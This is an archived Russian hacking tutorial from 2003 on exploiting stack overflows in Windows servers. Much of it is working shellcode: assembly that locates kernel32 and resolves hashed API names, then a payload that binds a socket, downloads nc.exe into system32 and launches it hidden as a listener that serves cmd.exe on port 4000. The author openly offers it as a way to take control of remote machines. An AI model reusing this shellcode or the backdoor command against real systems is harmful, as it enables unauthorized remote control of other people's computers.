Немного о эксплоитах…

Дата публикации 21 дек 2003

Немного о эксплоитах… — Архив WASM.RU

"Хакерами мнят себя все или почти все программисты, - моментально объяснил Недосилов. - Признать вину хакеров - всё равно что расписаться в собственной некомпетентности."
Сергей Лукьяненко. "Фальшивые зеркала"

Пролистывая книгу "Секреты Windows 2000 хакеров", я наткнулся на интересное высказывание, цитирую: "... Редко бывает, что переполнение буфера в Windows можно применять на практике ...". Мда-а-а, глядя на данные всего лишь SecurityLab.Ru невольно встает вопрос о причинах благосостояния авторов, имеющих столь интересный послужной список, приведенный вначале вышеупомянутой книги...

Ну да бог с ними, с этими авторами, можт это переводчики не ахти как перевели... Содержание моей статьи не ново, скажу сразу и, думаю, ничего нового вы для себя не откроете её прочитав, особенно если вы неплохо знакомы с ассемблером и принципами переполнения стека ;).

Давайте представим, что мы имеем в наличии следующее: удалённая ситема win2k/XP/NT4, уязвимое серверное приложение с возможностью переполнения стека через strcpy() иль sprintf() и наше желание этой системой поуправлять от имени этого приложения.

Получение управления

Для начала рассмотрим несколько способов получения упревления.

Итак, у нас имеется: 2Гб адресного пространства, добрая часть которого ничем не занята; наш код в стеке уязвимого процесса и инструкцию "ret", которая даст коду возможность исполняться. Какой же адрес скормить этой команде? Самым простым и часто используемым является подстановка адреса одной из инструкций jmp esp/call esp, расположенных в какой-либо системной библиотеке. Однако, такой способ привязывает наш эксплоит к конкретной версии операционной системы с её сервиспаками, т.к. адреса загрузки dll-ок разняться от билда к билду, что не есть хорошо, но ничего не поделаешь...

Иногда бывает возможным приспособить эксплоит к конкретной версии самого приложения, например, когда последнее использует свои dll-ки. Тогда этот эксплоит будет работать в любой системе, но под определённую версию программы.

Стоит отметить, что инструкции "ret" можно скормить и адрес команд jmp REG/call REG, если указанный регистр содержит подходящее значение.

Часто при входе в функцию последняя устанавливает SEH-обработчик и сей факт иногда(а точнее очень редко) можно использовать для получения управления без jmp/call, а в качестве адреса возврата указать заведомо кривое значение, передача управления по которому вызовет исключение, передав управление на наш код.

А теперь давайте представим, что нам недоступны jmp/call (интересно, часто ли такое бывает ;)? ), до SEH-обработчика тоже не дотянуться. Что ж тогда? Можно в качестве адреса возврата подставить непосредственное значение смещения нашего кода, но, наверное, это самое худшее решение из всех возможных, т.к. в этом случае появляется куча проблем. Во-первых, никто не гарантирует, что размещение стека не будет иным у уязвимого потока, да и области памяти, отводимые под стек, отличаются в разных версиях операционных систем. Да ещё мы получаем досадное ограничение на размер самого кода, так как адрес возврата наверняка будет содержать ноль (например 0012FCXXh) до которого и отработает функция strcpy() иль sprintf(). Однако, тут можно воспользоваться тем фактом, что если содержимое буфера с нашим кодом никем не менялось, то можно передать управление в нужное место этого буфера, то есть:

Код (Text):
  1.  
  2. int a = recv(...,&buffer[0],1024,...);
  3.  
  4. SomeFunction(&buffer[0])
  5.  
  6. int SomeFunction(char* p) {
  7.    
  8.     char dst[100];
  9.     ...
  10.     strcpy(dst,p);
  11.     ...
  12. } // <<< --- здесь мы получим управление и, возможно, буфер,
  13.   // указатель на который получила функция, не изменён или
  14.   // изменён незначительно...

Также можно поискать в памяти фрагмент кода похожий на:

Код (Text):
  1.  
  2.     ...
  3.     add eax,???
  4.     call [eax+16]
  5.     ...

и если регистр на момент ret'a содержит необходимое значение, то смело прописываем сие смещение в качестве операнда инструкции "ret".

Итак, посмотрим, какие варианты имеем:

  1. jmp esp/call esp
  2. jmp REG/call REG
  3. 3. SEH-обработчик
  4. 4. непосредственное смещение
  5. 5. смещения подходящих фрагментов

Получение адресов API-функций

Управление получили, теперь необходимо узнать адреса API-функций, так как без последних толку от кода, мягко говоря, маловато ;)). Рассмотрим 3 метода получения адреса загрузки kernel32.dll, по РЕ-заголовку которой, определим точки входа в нужные нам функции.

1.From LSD Team

Идея до боли проста - по РЕВ'у, в котором содержится список всех загруженных для процесса модулей, дотягиваемся до адреса загрузки kernel32

Код (Text):
  1.  
  2.     mov eax, fs:[30h]  ; получим указатель на РЕВ
  3.     mov eax, [eax+0Ch] ; получим указатель на PEB_LDR_DATA
  4.     mov esi, [eax+1Ch] ; получим указатель на InitializationOrderModuleList
  5.     lodsd            
  6.     mov eax, [eax+08h] ; eax -> VA kernel32.dll

Стоит отметить, что здесь используются недокументированные поля структуры РЕВ, однако размер этого кода, согласитесь, радует.

2. From Billy Belcebu

Идея заключается в следующем: берём конкретный адрес и начинаем сканировать адресное пространство на наличие РЕ-заголовка kernel32.dll:

Код (Text):
  1.  
  2.  __1:
  3.         cmp     byte ptr [ebp+K32_Limit],00h
  4.         jz      WeFailed
  5.  
  6.         cmp     word ptr [esi],"ZM"
  7.         jz      CheckPE
  8.  
  9.  __2:
  10.         sub     esi,10000h  ; к следующему региону
  11.         dec     byte ptr [ebp+K32_Limit]
  12.         jmp     __1

Чтож, метод не плох, но прожорлив до памяти, так как сюда нужно добавить SEH-обработчик, чтобы смело сканировать память, и проверку CheckPE которая отплёвывает всё, кроме kernel32.

3. From Sars

Чтоб не пересказывать, просто процитирую:

Код (Text):
  1.  
  2. "
  3. next_handler dd ?   ; указатель на следующую такую же запись
  4. seh_handler  dd ?   ; адрес обработчика исключения

Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...

Код (Text):
  1.  
  2. _SearchMZ:
  3. cmp word ptr [eax],5A4Dh
  4. je _CheckMZ
  5. sub eax,10000h
  6. jmp _SearchMZ
  7. _CheckMZ:
  8. mov edx,[eax+3ch]
  9. cmp word ptr [eax+edx],4550h
  10. jne _Exit

Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем. Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда, но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений."

Всё, адрес загрузки kernel'а имеем, теперь определим точки входа API-функций, воспользовавшись методом от LSD Team с использованием простенькой и очень короткой функции хеширования (в отличие от crc32 у Billy Belcebu):

Код (Text):
  1.  
  2. ; воспользуемся услугами VC++ 6.0, чтобы получить
  3. ; ассемблерный листинг си-кода и подредактируем
  4. ; его в нужных местах...
  5.  
  6. ; предварительно вычисленные значения хешей
  7.  
  8. DD  99C95590h   ; GetProcAddress            1
  9. DD  195D7906h   ; ResumeThread          2
  10. DD  1AF359D3h   ; SetThreadContext      3
  11. DD  0A6A6793Dh  ; WriteProcessMemory        4
  12. DD  0E9D81A3Bh  ; VirtualAllocEx            5
  13. DD  1AF2F9D3h   ; GetThreadContext      6
  14. DD  0B87742CBh  ; CreateProcessA            7
  15. DD  331ADDDCh   ; LoadLibraryA          8
  16. DD  0CFB0E506h  ; CreateFileA           9
  17. DD  2E750C90h   ; WriteFile             10
  18. DD  0D7629096h  ; CloseHandle           11
  19. DD  99046D19h   ; WinExec               12
  20. DD  0EC468F87h  ; ExitProcess           13
  21. DD    0EC6D8B57h    ; OpenProcess           14
  22.  
  23. ; unsigned int   *adr;
  24. ; unsigned char **sym;
  25. ; unsigned short *ord;
  26. ; adr = (unsigned int   *)RVA(ied->AddressOfFunctions);
  27. ; sym = (unsigned char **)RVA(ied->AddressOfNames);
  28. ; ord = (unsigned short *)RVA(ied->AddressOfNameOrdinals);
  29.  
  30.     mov ecx, DWORD PTR [eax+28]
  31.     mov edi, DWORD PTR [eax+36]
  32.     add ecx, esi
  33.     add edi, esi
  34.     mov DWORD PTR _adr$[ebp], ecx
  35.     mov ecx, DWORD PTR [eax+32]
  36.     add ecx, esi
  37.  
  38.     push    14    ; кол-во функций
  39.  
  40. ; for(;;)
  41.  
  42.     xor ebx, ebx
  43.     mov DWORD PTR -12+[ebp], ecx
  44. $L42780:
  45.  
  46. ; unsigned int   h = 0;
  47. ; unsigned char *c = RVA(sym[idx]);
  48.  
  49.     mov edx, DWORD PTR -12+[ebp]
  50.     mov ecx, esi
  51.     xor eax, eax
  52.     add ecx, DWORD PTR [edx]
  53. $L42862:
  54.  
  55. ; while(*c) h = ((h<<5)|(h>>27)) + *c++;
  56. ; Как заверяют авторы, эта функция не дала
  57. ; ни одной коллизии на 50 000 именах функций,
  58. ; чего нам с лихвой хватит...
  59.  
  60.     cmp BYTE PTR [ecx], bl
  61.     je  SHORT $L42787
  62.     mov edx, eax
  63.     shr edx, 27                 ; 0000001bH
  64.     shl eax, 5
  65.     or  edx, eax
  66.     movzx   eax, BYTE PTR [ecx]
  67.     add eax, edx
  68.     inc ecx
  69.     jmp SHORT $L42862
  70. $L42787:
  71.  
  72. ; for (int j=0; j < countfunc; j++) {
  73.  
  74.     push    esi
  75.     mov esi, DWORD PTR [ebp+4]
  76.     mov DWORD PTR -4+[ebp], esi
  77.     pop esi
  78.     mov DWORD PTR _j$42788[ebp], ebx
  79.  
  80. $L42789:
  81.  
  82. ; if(mass[j] == h) {
  83.  
  84.     mov edx, DWORD PTR -4+[ebp]
  85.     cmp DWORD PTR [edx], eax
  86.     je  SHORT $L42855
  87.     add DWORD PTR -4+[ebp], 4
  88.     inc DWORD PTR _j$42788[ebp]
  89.     cmp DWORD PTR _j$42788[ebp], 14
  90.     jnz SHORT $L42789
  91.     jmp SHORT $L42791
  92.  
  93. $L42855:
  94.  
  95. ; mass[j] = RVA(adr[ord[idx]]);
  96.  
  97.     push    edx
  98.     movzx   eax, WORD PTR [edi]
  99.     mov edx, DWORD PTR _adr$[ebp]
  100.     mov eax, DWORD PTR [edx+eax*4]
  101.     add eax, esi
  102.     pop edx
  103.     mov DWORD PTR [edx], eax
  104.     dec DWORD PTR [esp]
  105.     jz  $L42856
  106.  
  107. $L42791:
  108.  
  109.     add DWORD PTR -12+[ebp], 4
  110.     add edi,2
  111.     jmp SHORT $L42780
  112.  
  113. $L42856:

Как видите, простор для оптимизации есть...

Удалённое управление

После того, как получены адреса необходимых функций, нам нужно как-то организовать удалённое управление системой. Сие можно сделать разными способами, мы же рассмотрим самый простой - копирование утилиты, которая сделает всю работу за нас:

Код (Text):
  1.  
  2. Dllname DB  'ws2_32.dll',0
  3. szncexe DB  'С:\winnt\system32\nc.exe',0
  4. szcmdline   DB  'nc.exe -L -n -p 4000 cmd.exe',0
  5.  
  6. ; HINSTANCE hBase = LoadLibrary("ws2_32.dll");
  7.  
  8.     mov eax, DWORD PTR [ebp]    ; ebp - > ImageBase нашего кода
  9.     add eax, str01          ; + смещение строки
  10.     push    eax             ; offset "ws2_32.dll"
  11.     mov eax, DWORD PTR [ebp+4]
  12.     call    DWORD PTR [eax+15*4]    ; call LoadLibrary
  13.  
  14.     mov edi, eax
  15.     xor esi, esi
  16.  
  17. ; mass[idx] = (int)GetProcAddress(hBase, name[i++]);
  18.  
  19. $L42797:
  20.  
  21.     mov ebx, DWORD PTR [ebp]
  22.     add ebx, om2            ; прибавим смещение таблицы,
  23.                         ; в которой содержаться указатели
  24.                         ; на имена функций
  25.     mov eax, DWORD PTR [ebx+esi]
  26.     add eax, DWORD PTR [ebp]
  27.     push    eax
  28.     push    edi
  29.     mov eax, DWORD PTR [EBP+4]
  30.     call    DWORD PTR [eax+8*4]
  31.     mov DWORD PTR [ebx+esi], eax ; Заменим соответствующий указатель на имя
  32.                          ; адресом этой функции  
  33.     add esi, 4
  34.     cmp esi, 32     ; для всех 8-ми функций определили  адреса?
  35.     jl  SHORT $L42797
  36.  
  37. ; WSAStartup(0x0202, &wd);
  38.  
  39.     lea eax, DWORD PTR _wd$[ebp]
  40.     push    eax
  41.     push    514                     ; 00000202H
  42.     mov eax, DWORD PTR [ebp+4]
  43.     call    DWORD PTR [eax+5*4]     ; call WSAStartup
  44.  
  45. ; SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
  46.  
  47.     push    0
  48.     push    1
  49.     push    2
  50.     mov eax,  DWORD PTR [ebp+4]
  51.     call    DWORD PTR [eax+6*4]     ; call socket
  52.  
  53. ; sockaddr_in           local_addr;
  54. ; #define port          7777
  55. ; #define SizeOfProgram     58*1024
  56. ; local_addr.sin_family = AF_INET;
  57. ; local_addr.sin_port   = htons(port);
  58.  
  59.     push    7777                    ; 00001e61H
  60.     mov DWORD PTR _sock$[ebp], eax
  61.     mov WORD PTR _local_addr$[ebp], 2
  62.     mov eax, DWORD PTR [ebp+4]
  63.     call    DWORD PTR [eax+7*4]     ; call htons
  64.     mov WORD PTR _local_addr$[ebp+2], ax
  65.  
  66. ; local_addr.sin_addr.s_addr    = 0;
  67. ; bind(sock, (sockaddr *) &local_addr, sizeof(local_addr));
  68.  
  69.     lea eax, DWORD PTR _local_addr$[ebp]
  70.     push    16                  ; 00000010H
  71.     push    eax
  72.     push    DWORD PTR _sock$[ebp]
  73.     mov DWORD PTR _local_addr$[ebp+4], 0
  74.     mov eax, DWORD PTR [ebp+4]
  75.     call    DWORD PTR [eax+0*4]     ; bind
  76.  
  77. ; listen(sock, 0x100);
  78.  
  79.     push    1                   ; 01H
  80.     push    DWORD PTR _sock$[ebp]
  81.     mov eax, DWORD PTR [ebp+4]
  82.     call    DWORD PTR [eax+1*4]     ; listen
  83.  
  84. ; sockaddr_in   client_addr;
  85. ; int client_addr_size = sizeof(client_addr);
  86. ; accept(sock, (sockaddr *) &client_addr, &client_addr_size);
  87.  
  88.     lea eax, DWORD PTR _client_addr_size$[ebp]
  89.     mov DWORD PTR _client_addr_size$[ebp], 16   ; 00000010H
  90.     push    eax
  91.     lea eax, DWORD PTR _client_addr$[ebp]
  92.     push    eax
  93.     push    DWORD PTR _sock$[ebp]
  94.     mov eax, DWORD PTR [ebp+4]
  95.     call    DWORD PTR [eax+2*4]     ; accept
  96.  
  97. ; Выделим память под буфер, в который будем помещать кусочки nc.exe...
  98.  
  99. ; char *tempbuff=(char*)VirtualAllocEx(0,0,SizeOfProgram,MEM_COMMIT, PAGE_READWRITE);
  100.     xor ebx,ebx
  101.     push    4
  102.     push    esi
  103.     mov esi, 59392              ; 0000e800H
  104.     push    esi
  105.     push    ebx
  106.     push    ebx                     ;
  107.     mov eax, DWORD PTR [ebp+4]
  108.     call    DWORD PTR [eax+12*4]    ; call VirtualAllocEx
  109.     mov DWORD PTR _tempbuff$[ebp], eax
  110.  
  111. ; for(int j = 0; j < SizeOfProgram; j+=1024)
  112.  
  113.     mov DWORD PTR _j$[ebp], ebx
  114.     mov edi, 1024               ; 00000400H
  115. $L42819:
  116.  
  117. ; recv(sock, &tempbuff[j], 1024, 0);
  118.  
  119.     mov eax, DWORD PTR _j$[ebp]
  120.     mov ecx, DWORD PTR _tempbuff$[ebp]
  121.     push    ebx
  122.     add eax, ecx
  123.     push    edi
  124.     push    eax
  125.     push    DWORD PTR _sock$[ebp]
  126.     mov eax, DWORD PTR [ebp+4]
  127.     call    DWORD PTR [eax+3*4]     ; call recv
  128.     add DWORD PTR _j$[ebp], edi
  129.     cmp DWORD PTR _j$[ebp], esi
  130.     jl  SHORT $L42819
  131.  
  132. ; CreateFile("С:\winnt\system32\nc.exe", FILE_GENERIC_WRITE, FILE_SHARE_READ,
  133. ;   NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
  134.  
  135.     push    ebx
  136.     push    128                 ; 00000080H
  137.     push    1
  138.     push    ebx
  139.     push    1
  140.     push    1179926                 ; 00120116H
  141.     push    0
  142.     mov eax, DWORD PTR [ebp+4]
  143.     call    DWORD PTR [eax+16*4]    ;CreateFileA
  144.  
  145. ; WriteFile(hFile, tempbuff, SizeOfProgram, NULL, NULL);
  146.  
  147.     push    ebx
  148.     push    ebx
  149.     push    esi
  150.     mov edi, eax
  151.     push    DWORD PTR _tempbuff$[ebp]
  152.     push    edi
  153.     mov eax, DWORD PTR [ebp+4]
  154.     call    DWORD PTR [eax+17*4]        ; WriteFile
  155.  
  156. ; CloseHandle(hFile);
  157.  
  158.     push    edi
  159.     mov eax, DWORD PTR [ebp+4]
  160.     call    DWORD PTR [eax+18*4]        ; CloseHandle
  161.  
  162. ; WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE);
  163.  
  164.     push    ebx
  165.     push    0
  166.     mov eax, DWORD PTR [ebp+4]
  167.     call    DWORD PTR [eax+19*4]        ; WinExec
  168.  
  169. ; ExitProcess(0);

После этого нужно запустить программу, которая на 4000 порт перешлёт утилиту nc.exe пакетами по 1024 байт...

После выполнения функции WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE) можно коннектиться к удалённой системе на 4000 порт и наслаждаться общением с её командным интерпретатором ;)).

Мной использовалось и вам советуется почитать:

  1. Отличный материал от LSD Team найдёте на wasm.ru
  2. Не менее хороший от Billy Belcebu
  3. Статья Sars'a
  4. Утилита netcat.exe(nc.exe)
© nester7

0 1.061
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532